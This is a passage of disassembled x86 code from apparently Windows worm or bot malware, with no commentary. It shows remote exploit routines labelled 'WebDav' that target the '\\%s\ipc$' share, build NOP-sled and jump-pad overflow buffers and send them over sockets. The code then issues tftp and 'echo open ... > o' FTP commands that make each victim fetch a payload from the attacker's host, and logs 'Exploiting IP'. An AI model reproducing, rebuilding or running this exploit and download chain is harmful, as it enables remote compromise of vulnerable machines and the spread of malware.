		push	4
		push	esi
		push	edi
		call	sub_412A80
		mov	eax, offset loc_42A1D0
		add	esp, 0Ch
		mov	ecx, eax


loc_411867:				; CODE XREF: .text:0041186Cj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_411867
		sub	eax, ecx
		mov	esi, ecx
		dec	edi


loc_411873:				; CODE XREF: .text:00411879j
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_411873
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		lea	eax, [ebp-4]
		rep movsb
		lea	ecx, [eax+1]


loc_41188F:				; CODE XREF: .text:00411894j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_41188F
		push	0
		sub	eax, ecx
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		call	dword_433534
		test	eax, eax
		jz	loc_41199A
		mov	esi, ds:dword_41F000
		push	3E8h
		call	esi
		push	ebx
		call	dword_4335AC
		xor	eax, eax
		lea	edi, [ebp-24h]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+0Ch]
		push	eax
		mov	word ptr [ebp-24h], 2
		call	dword_433514
		push	7BDh
		mov	[ebp-20h], eax
		call	dword_4335EC
		mov	[ebp-22h], ax
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		push	ebx
		call	dword_433458
		test	eax, eax
		jz	loc_41199A
		mov	eax, offset byte_42AED0
		push	eax
		push	eax
		push	dword ptr [ebp+8]
		call	sub_406C33
		pop	ecx
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		mov	edi, 190h
		lea	eax, [ebp-1D4h]
		push	edi
		push	eax
		call	sub_412E0D
		add	esp, 18h
		push	dword_432FF4
		push	dword ptr [ebp+8]
		call	sub_406C33
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp-1D4h]
		push	edi
		push	eax
		call	sub_412E0D
		add	esp, 14h
		push	0
		add	edi, 70h
		push	edi
		lea	eax, [ebp-3D4h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_433414
		test	eax, eax
		jle	short loc_41199A
		push	1F4h
		call	esi
		lea	eax, [ebp-1D4h]
		lea	edx, [eax+1]


loc_41197C:				; CODE XREF: .text:00411981j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_41197C
		push	0
		sub	eax, edx
		push	eax
		lea	eax, [ebp-1D4h]
		push	eax
		push	ebx
		call	dword_433534
		test	eax, eax
		jg	short loc_4119B9


loc_41199A:				; CODE XREF: .text:004118A8j
					; .text:004118FCj ...
		mov	esi, [ebp-0Ch]


loc_41199D:				; CODE XREF: .text:00411849j
		push	ebx
		call	dword_4335AC
		inc	dword ptr [ebp-8]
		add	esi, 4
		cmp	dword ptr [ebp-8], 7
		mov	[ebp-0Ch], esi
		jb	loc_41180D
		jmp	short loc_411A26
; ---------------------------------------------------------------------------


loc_4119B9:				; CODE XREF: .text:00411998j
		push	ebx
		call	dword_4335AC
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-3D4h]
		push	edi
		push	eax
		mov	dword ptr [ebp-10h], 1
		call	sub_412E0D
		add	esp, 14h
		cmp	dword ptr [ebp+140h], 0
		jnz	short loc_411A19
		push	0
		push	dword ptr [ebp+13Ch]
		lea	eax, [ebp-3D4h]
		push	eax
		lea	eax, [ebp+0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4045DD
		add	esp, 14h


loc_411A19:				; CODE XREF: .text:004119F6j
		lea	eax, [ebp-3D4h]
		push	eax
		call	sub_401C33
		pop	ecx


loc_411A26:				; CODE XREF: .text:004117FDj
					; .text:004119B7j
		mov	eax, [ebp-10h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A2E	proc near		; CODE XREF: sub_411B71+3F8p

var_5A4		= byte ptr -5A4h
var_1A4		= byte ptr -1A4h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_94		= dword	ptr  9Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+arg_4]
		push	eax
		mov	[ebp+var_14], 2
		call	dword_433514
		mov	[ebp+var_10], eax
		xor	eax, eax
		mov	ax, word_42BDA0
		push	eax
		call	dword_4335EC
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	dword_4334A0
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_4], esi
		jnz	short loc_411A87
		xor	al, al
		jmp	loc_411B6C
; ---------------------------------------------------------------------------


loc_411A87:				; CODE XREF: sub_411A2E+50j
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		call	dword_433458
		cmp	eax, 0FFFFFFFFh
		jz	loc_411B61
		push	ebx
		mov	edi, 400h
		push	edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	esi
		call	dword_433414
		push	[ebp+arg_94]
		lea	eax, [ebp+arg_14]
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d>o&echo USER a>>o&echo	a"...
		mov	esi, 190h
		lea	eax, [ebp+var_1A4]
		push	esi
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_1A4]
		add	esp, 14h
		lea	ecx, [eax+1]


loc_411ADF:				; CODE XREF: sub_411A2E+B6j
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_411ADF
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	[ebp+var_4]
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411B61
		push	1F4h
		call	ds:dword_41F000
		push	offset byte_42AED0
		push	offset aS_4	; "%s\r\n"
		lea	eax, [ebp+var_1A4]
		push	esi
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_1A4]
		add	esp, 10h
		lea	edx, [eax+1]


loc_411B2D:				; CODE XREF: sub_411A2E+104j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_411B2D
		push	ebx
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	[ebp+var_4]
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411B61
		push	ebx
		push	edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	[ebp+var_4]
		call	dword_433414
		mov	bl, 1


loc_411B61:				; CODE XREF: sub_411A2E+69j
					; sub_411A2E+CFj ...
		push	[ebp+var_4]
		call	dword_4335AC
		mov	al, bl


loc_411B6C:				; CODE XREF: sub_411A2E+54j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411B71	proc near		; CODE XREF: .text:00412098p
					; .text:004120BAp

var_81DC	= byte ptr -81DCh
var_8174	= byte ptr -8174h
var_6104	= byte ptr -6104h
var_6094	= byte ptr -6094h
var_55D0	= byte ptr -55D0h
var_402C	= byte ptr -402Ch
var_402B	= byte ptr -402Bh
var_2F98	= byte ptr -2F98h
var_24D4	= byte ptr -24D4h
var_24D3	= byte ptr -24D3h
var_24D0	= byte ptr -24D0h
var_2454	= byte ptr -2454h
var_1C84	= byte ptr -1C84h
var_17D9	= byte ptr -17D9h
var_14EC	= byte ptr -14ECh
var_EAC		= byte ptr -0EACh
var_8D0		= byte ptr -8D0h
var_830		= byte ptr -830h
var_6C8		= dword	ptr -6C8h
var_6B8		= byte ptr -6B8h
var_394		= dword	ptr -394h
var_390		= dword	ptr -390h
var_384		= byte ptr -384h
var_124		= dword	ptr -124h
var_114		= byte ptr -114h
var_FC		= byte ptr -0FCh
var_FB		= byte ptr -0FBh
var_AC		= byte ptr -0ACh
var_A9		= byte ptr -0A9h
var_7F		= byte ptr -7Fh
var_7D		= byte ptr -7Dh
var_7C		= byte ptr -7Ch
var_34		= byte ptr -34h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_140		= dword	ptr  148h
arg_144		= dword	ptr  14Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 81DCh
		call	sub_412DD0
		mov	eax, ds:dword_4275EC
		push	ebx
		mov	[ebp+var_C], eax
		mov	eax, ds:dword_4275F0
		push	esi
		mov	[ebp+var_8], eax
		push	edi
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_34]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		xor	eax, eax


loc_411BA8:				; CODE XREF: sub_411B71+4Ej
		mov	cl, [ebp+eax+var_34]
		and	[ebp+eax*2+var_FB], 0
		mov	[ebp+eax*2+var_FC], cl
		inc	eax
		cmp	eax, 28h
		jl	short loc_411BA8
		push	18h
		pop	ecx
		mov	esi, offset dword_42B998
		lea	edi, [ebp+var_AC]
		lea	eax, [ebp+var_34]
		rep movsd
		lea	edx, [eax+1]


loc_411BD7:				; CODE XREF: sub_411B71+6Bj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_411BD7
		sub	eax, edx
		mov	ecx, eax
		lea	esi, [ebp+var_FC]
		lea	edi, [ebp+var_7C]
		lea	eax, [ebp+var_34]
		rep movsw
		lea	ecx, [eax+1]


loc_411BF4:				; CODE XREF: sub_411B71+88j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_411BF4
		sub	eax, ecx
		lea	edi, [ebp+eax*2+var_7D]
		mov	esi, (offset aC_4+3)
		movsd
		movsd
		lea	eax, [ebp+var_34]
		movsb
		lea	ecx, [eax+1]


loc_411C0F:				; CODE XREF: sub_411B71+A3j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_411C0F
		sub	eax, ecx
		add	al, 1Ah
		shl	al, 1
		mov	[ebp+var_1], al
		mov	[ebp+var_A9], al
		lea	eax, [ebp+var_34]
		lea	ecx, [eax+1]


loc_411C2B:				; CODE XREF: sub_411B71+BFj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_411C2B
		sub	eax, ecx
		shl	al, 1
		add	al, 9
		mov	[ebp+var_7F], al
		xor	eax, eax
		mov	ax, word_42BDA0
		push	eax
		call	dword_4335EC
		xor	eax, 9999h
		cmp	[ebp+arg_144], 0
		mov	word_42B690, ax
		mov	eax, 90909090h
		jz	loc_411D3D
		mov	ecx, 36Bh
		lea	edi, [ebp+var_EAC]
		rep stosd
		mov	eax, [ebp+arg_144]
		imul	eax, 3Ch
		mov	edx, dword_42BDE0[eax]
		mov	eax, offset loc_42B5E0
		mov	ecx, eax
		mov	[ebp+var_6C8], edx
		lea	esi, [ecx+1]


loc_411C93:				; CODE XREF: sub_411B71+127j
		mov	bl, [ecx]
		inc	ecx
		test	bl, bl
		jnz	short loc_411C93
		sub	ecx, esi
		mov	ebx, ecx
		shr	ecx, 2
		mov	esi, eax
		lea	edi, [ebp+var_6B8]
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	ecx, eax
		mov	[ebp+var_394], 6EB06EBh
		mov	[ebp+var_390], edx
		lea	esi, [ecx+1]


loc_411CC7:				; CODE XREF: sub_411B71+15Bj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_411CC7
		sub	ecx, esi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp+var_384]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax


loc_411CE8:				; CODE XREF: sub_411B71+193j
		mov	cl, [ebp+eax+var_EAC]
		and	[ebp+eax*2+var_402B], 0
		mov	[ebp+eax*2+var_402C], cl
		inc	eax
		cmp	eax, 0DACh
		jl	short loc_411CE8
		and	[ebp+var_24D4],	0
		and	[ebp+var_24D3],	0
		mov	edx, 714h
		mov	ecx, edx
		mov	eax, 31313131h
		lea	edi, [ebp+var_81DC]
		rep stosd
		stosw
		mov	ecx, edx
		mov	eax, 31313131h
		lea	edi, [ebp+var_6104]
		rep stosd
		stosw
		jmp	short loc_411DA4
; ---------------------------------------------------------------------------


loc_411D3D:				; CODE XREF: sub_411B71+F0j
		mov	ecx, 1F4h
		lea	edi, [ebp+var_8D0]
		rep stosd
		mov	eax, offset loc_42B5E0
		mov	ecx, eax
		lea	esi, [ecx+1]


loc_411D54:				; CODE XREF: sub_411B71+1E8j
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_411D54
		sub	ecx, esi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp+var_830]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		lea	eax, [ebp+var_C]
		rep movsb
		lea	ecx, [eax+1]


loc_411D79:				; CODE XREF: sub_411B71+20Dj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_411D79
		sub	eax, ecx
		mov	ecx, eax
		shr	ecx, 2
		lea	esi, [ebp+var_C]
		lea	edi, [ebp+var_114]
		rep movsd
		mov	ecx, eax
		mov	eax, dword_42BDE0
		and	ecx, 3
		rep movsb
		mov	[ebp+var_124], eax


loc_411DA4:				; CODE XREF: sub_411B71+1CAj
		mov	esi, [ebp+arg_140]
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [ebp+var_24D0]
		rep stosd
		stosb
		movsx	eax, [ebp+var_1]
		push	0
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	esi
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411DE1


loc_411DDA:				; CODE XREF: sub_411B71+29Aj
					; sub_411B71+2C1j ...
		xor	al, al
		jmp	loc_411F79
; ---------------------------------------------------------------------------


loc_411DE1:				; CODE XREF: sub_411B71+267j
		push	0
		mov	ebx, 640h
		push	ebx
		lea	eax, [ebp+var_14EC]
		push	eax
		push	esi
		call	dword_433414
		xor	edi, edi
		push	edi
		push	68h
		push	offset dword_42BA00
		push	esi
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411DDA
		push	edi
		push	ebx
		lea	eax, [ebp+var_14EC]
		push	eax
		push	esi
		call	dword_433414
		push	edi
		push	0A0h
		push	offset dword_42BA70
		push	esi
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411DDA
		push	edi
		push	ebx
		lea	eax, [ebp+var_14EC]
		push	eax
		push	esi
		call	dword_433414
		cmp	[ebp+arg_144], edi
		jz	loc_411EF1
		push	1Ah
		pop	ecx
		mov	esi, offset dword_42BC30
		lea	edi, [ebp+var_81DC]
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [ebp+var_402C]
		lea	edi, [ebp+var_8174]
		rep movsd
		movsw
		push	1Ch
		pop	ecx
		mov	esi, offset dword_42BCA0
		lea	edi, [ebp+var_6104]
		rep movsd
		mov	ecx, 297h
		lea	esi, [ebp+var_2F98]
		lea	edi, [ebp+var_6094]
		rep movsd
		push	21h
		movsw
		pop	ecx
		mov	esi, offset dword_42BD18
		lea	edi, [ebp+var_55D0]
		rep movsd
		xor	esi, esi
		push	esi
		push	10FCh
		lea	eax, [ebp+var_81DC]
		push	eax
		push	[ebp+arg_140]
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jz	loc_411DDA
		push	esi
		push	ebx
		lea	eax, [ebp+var_14EC]
		push	eax
		push	[ebp+arg_140]
		call	dword_433414
		push	esi
		push	0FDCh
		lea	eax, [ebp+var_6104]
		jmp	short loc_411F38
; ---------------------------------------------------------------------------


loc_411EF1:				; CODE XREF: sub_411B71+2D9j
		push	1Fh
		pop	ecx
		mov	esi, offset dword_42BB18
		lea	edi, [ebp+var_24D0]
		rep movsd
		push	24h
		mov	ecx, 1F4h
		lea	esi, [ebp+var_8D0]
		lea	edi, [ebp+var_2454]
		rep movsd
		pop	ecx
		mov	esi, offset off_42BB98
		lea	edi, [ebp+var_1C84]
		push	0
		rep movsd
		and	[ebp+var_17D9],	0
		push	0CF8h
		lea	eax, [ebp+var_24D0]


loc_411F38:				; CODE XREF: sub_411B71+37Ej
		push	eax
		push	[ebp+arg_140]
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jz	loc_411DDA
		push	12Ch
		call	ds:dword_41F000
		sub	esp, 140h
		push	50h
		pop	ecx
		lea	esi, [ebp+arg_0]
		mov	edi, esp
		rep movsd
		call	sub_411A2E
		add	esp, 140h
		test	al, al
		setnz	al


loc_411F79:				; CODE XREF: sub_411B71+26Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411B71	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		lea	edi, [ebp-14h]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+0Ch]
		xor	esi, esi
		push	eax
		mov	[ebp-4], esi
		mov	word ptr [ebp-14h], 2
		call	dword_433514
		push	dword ptr [ebp+12Ch]
		mov	[ebp-10h], eax
		call	dword_4335EC
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_4334A0
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jz	loc_41207A
		push	10h
		lea	eax, [ebp-14h]
		push	eax
		push	ebx
		call	dword_433458
		cmp	eax, edi
		jz	loc_412073
		push	esi
		push	89h
		push	offset dword_42B778
		push	ebx
		call	dword_433534
		cmp	eax, edi
		jz	short loc_412073
		push	esi
		mov	esi, 640h
		push	esi
		lea	eax, [ebp-854h]
		push	eax
		push	ebx
		call	dword_433414
		push	0
		push	0A8h
		push	offset dword_42B808
		push	ebx
		call	dword_433534
		cmp	eax, edi
		jz	short loc_412073
		push	0
		push	esi
		lea	eax, [ebp-854h]
		push	eax
		push	ebx
		call	dword_433414
		push	0
		push	0DEh
		push	offset dword_42B8B8
		push	ebx
		call	dword_433534
		cmp	eax, edi
		jz	short loc_412073
		push	0
		push	esi
		lea	eax, [ebp-854h]
		push	eax
		push	ebx
		call	dword_433414
		movsx	eax, byte ptr [ebp-810h]
		sub	eax, 30h
		jz	short loc_412085
		dec	eax
		jz	short loc_412081


loc_412073:				; CODE XREF: .text:00411FE3j
					; .text:00411FFDj ...
		push	ebx
		call	dword_4335AC


loc_41207A:				; CODE XREF: .text:00411FCEj
		xor	eax, eax
		jmp	loc_412147
; ---------------------------------------------------------------------------


loc_412081:				; CODE XREF: .text:00412071j
		push	0
		jmp	short loc_4120A9
; ---------------------------------------------------------------------------


loc_412085:				; CODE XREF: .text:0041206Ej
		push	2
		push	ebx
		sub	esp, 140h
		push	50h
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_411B71
		add	esp, 148h
		test	al, al
		jnz	short loc_4120C9
		push	1


loc_4120A9:				; CODE XREF: .text:00412083j
		push	ebx
		sub	esp, 140h
		push	50h
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_411B71
		add	esp, 148h
		test	al, al
		jz	short loc_4120D0


loc_4120C9:				; CODE XREF: .text:004120A5j
		mov	dword ptr [ebp-4], 1


loc_4120D0:				; CODE XREF: .text:004120C7j
		push	ebx
		call	dword_4335AC
		cmp	dword ptr [ebp-4], 0
		jz	short loc_412144
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_412E0D
		push	0
		push	dword ptr [ebp+13Ch]
		lea	eax, [ebp-214h]
		push	eax
		lea	eax, [ebp+0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4045DD
		lea	eax, [ebp-214h]
		push	eax
		call	sub_401C33
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		lea	eax, dword_42A070[eax]
		add	esp, 2Ch
		inc	dword ptr [eax]


loc_412144:				; CODE XREF: .text:004120DBj
		xor	eax, eax
		inc	eax


loc_412147:				; CODE XREF: .text:0041207Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 8590h
		call	sub_412DD0
		mov	eax, ds:dword_4275EC
		push	ebx
		push	esi
		mov	[ebp-0Ch], eax
		mov	eax, ds:dword_4275F0
		push	edi
		mov	[ebp-8], eax
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_4028A8
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_412737
		cmp	eax, 1
		jz	loc_412737
		cmp	eax, 3
		jnz	short loc_412195
		and	dword ptr [ebp-10h], 0
		jmp	short loc_4121A9
; ---------------------------------------------------------------------------


loc_412195:				; CODE XREF: .text:0041218Dj
		call	sub_412D71
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	edx, edx
		inc	edx
		inc	edx
		mov	[ebp-10h], edx


loc_4121A9:				; CODE XREF: .text:00412193j
		lea	eax, [ebp+0Ch]
		push	eax
		push	offset aSIpc	; "\\\\%s\\ipc$"
		lea	eax, [ebp-58h]
		push	28h
		push	eax
		call	sub_412E0D
		add	esp, 10h
		xor	eax, eax


loc_4121C2:				; CODE XREF: .text:004121D9j
		mov	cl, [ebp+eax-58h]
		and	byte ptr [ebp+eax*2-11Fh], 0
		mov	[ebp+eax*2-120h], cl
		inc	eax
		cmp	eax, 28h
		jl	short loc_4121C2
		push	18h
		pop	ecx
		mov	esi, offset dword_42C250
		lea	edi, [ebp-0D0h]
		lea	eax, [ebp-58h]
		rep movsd
		lea	edx, [eax+1]


loc_4121F1:				; CODE XREF: .text:004121F6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4121F1
		sub	eax, edx
		mov	ecx, eax
		lea	esi, [ebp-120h]
		lea	edi, [ebp-0A0h]
		lea	eax, [ebp-58h]
		rep movsw
		lea	ecx, [eax+1]


loc_412211:				; CODE XREF: .text:00412216j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_412211
		sub	eax, ecx
		lea	edi, [ebp+eax*2-0A1h]
		mov	esi, (offset aC_5+3)
		movsd
		movsd
		lea	eax, [ebp-58h]
		movsb
		lea	ecx, [eax+1]


loc_41222F:				; CODE XREF: .text:00412234j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_41222F
		sub	eax, ecx
		add	al, 1Ah
		shl	al, 1
		mov	[ebp-1], al
		mov	[ebp-0CDh], al
		lea	eax, [ebp-58h]
		lea	ecx, [eax+1]


loc_41224B:				; CODE XREF: .text:00412250j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_41224B
		sub	eax, ecx
		shl	al, 1
		add	al, 9
		push	135h
		mov	[ebp-0A3h], al
		call	dword_4335EC
		mov	ebx, [ebp-10h]
		xor	eax, 9999h
		cmp	ebx, 1
		mov	word_42BF48, ax
		jz	short loc_4122F6
		cmp	ebx, 2
		jz	short loc_4122F6
		mov	eax, 90909090h
		mov	ecx, 1F4h
		lea	edi, [ebp-12C4h]
		rep stosd
		mov	eax, offset loc_42BE98
		mov	ecx, eax
		lea	esi, [ecx+1]


loc_41229D:				; CODE XREF: .text:004122A2j
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_41229D
		sub	ecx, esi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp-1224h]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		lea	eax, [ebp-0Ch]
		rep movsb
		lea	ecx, [eax+1]


loc_4122C2:				; CODE XREF: .text:004122C7j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4122C2
		sub	eax, ecx
		mov	ecx, eax
		shr	ecx, 2
		lea	esi, [ebp-0Ch]
		lea	edi, [ebp-0B08h]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		imul	ebx, 3Ch
		mov	eax, dword_42C690[ebx]
		rep movsb
		mov	[ebp-0B18h], eax
		jmp	loc_4123C8
; ---------------------------------------------------------------------------


loc_4122F6:				; CODE XREF: .text:0041227Aj
					; .text:0041227Fj
		imul	ebx, 3Ch
		mov	edx, dword_42C690[ebx]
		mov	eax, 90909090h
		mov	ecx, 36Bh
		lea	edi, [ebp-18A0h]
		rep stosd
		mov	eax, offset loc_42BE98
		mov	ecx, eax
		mov	[ebp-10BCh], edx
		lea	esi, [ecx+1]


loc_412321:				; CODE XREF: .text:00412326j
		mov	bl, [ecx]
		inc	ecx
		test	bl, bl
		jnz	short loc_412321
		sub	ecx, esi
		mov	ebx, ecx
		shr	ecx, 2
		mov	esi, eax
		lea	edi, [ebp-10ACh]
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	ecx, eax
		mov	dword ptr [ebp-0D88h], 6EB06EBh
		mov	[ebp-0D84h], edx
		lea	esi, [ecx+1]


loc_412355:				; CODE XREF: .text:0041235Aj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_412355
		sub	ecx, esi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp-0D78h]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax


loc_412376:				; CODE XREF: .text:00412392j
		mov	cl, [ebp+eax-18A0h]
		and	byte ptr [ebp+eax*2-43DFh], 0
		mov	[ebp+eax*2-43E0h], cl
		inc	eax
		cmp	eax, 0DACh
		jl	short loc_412376
		and	byte ptr [ebp-2888h], 0
		and	byte ptr [ebp-2887h], 0
		mov	edx, 714h
		mov	esi, 31313131h
		mov	ecx, edx
		mov	eax, esi
		lea	edi, [ebp-8590h]
		rep stosd
		stosw
		mov	ecx, edx
		mov	eax, esi
		lea	edi, [ebp-64B8h]
		rep stosd
		stosw


loc_4123C8:				; CODE XREF: .text:004122F1j
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [ebp-2884h]
		rep stosd
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		stosb
		call	dword_4334A0
		mov	esi, eax
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp-8], esi
		jz	loc_412739
		push	dword ptr [ebp+12Ch]
		lea	edi, [ebp-30h]
		stosd
		stosd
		stosd
		stosd
		mov	word ptr [ebp-30h], 2
		call	dword_4335EC
		mov	[ebp-2Eh], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_433514
		mov	[ebp-2Ch], eax
		push	10h
		lea	eax, [ebp-30h]
		push	eax
		push	esi
		call	dword_433458
		cmp	eax, 0FFFFFFFFh
		jz	loc_412730
		push	ebx
		push	89h
		push	offset dword_42C030
		push	esi
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jz	loc_412730
		push	ebx
		mov	ebx, 640h
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_433414
		xor	edi, edi
		push	edi
		push	0A8h
		push	offset dword_42C0C0
		push	esi
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jz	loc_412730
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_433414
		push	edi
		push	0DEh
		push	offset dword_42C170
		push	esi
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jz	loc_412730
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_433414
		movsx	eax, byte ptr [ebp-1]
		push	edi
		add	eax, 4
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	esi
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jz	loc_412730
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_433414
		push	edi
		push	68h
		push	offset dword_42C2B8
		push	esi
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jz	loc_412730
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_433414
		push	edi
		push	0A0h
		push	offset dword_42C328
		push	esi
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jz	loc_412730
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_433414
		cmp	dword ptr [ebp-10h], 1
		jz	short loc_4125B1
		cmp	dword ptr [ebp-10h], 2
		jz	short loc_4125B1
		push	1Fh
		pop	ecx
		mov	esi, offset dword_42C3D0
		lea	edi, [ebp-2884h]
		rep movsd
		push	24h
		mov	ecx, 1F4h
		lea	esi, [ebp-12C4h]
		lea	edi, [ebp-2808h]
		rep movsd
		pop	ecx
		push	0
		push	0CF8h
		lea	eax, [ebp-2884h]
		mov	esi, offset off_42C450
		lea	edi, [ebp-2038h]
		push	eax
		push	dword ptr [ebp-8]
		rep movsd
		and	byte ptr [ebp-1B8Dh], 0


loc_41259A:				; CODE XREF: .text:0041264Bj
		call	dword_433534
		cmp	eax, 0FFFFFFFFh
		jnz	loc_412650


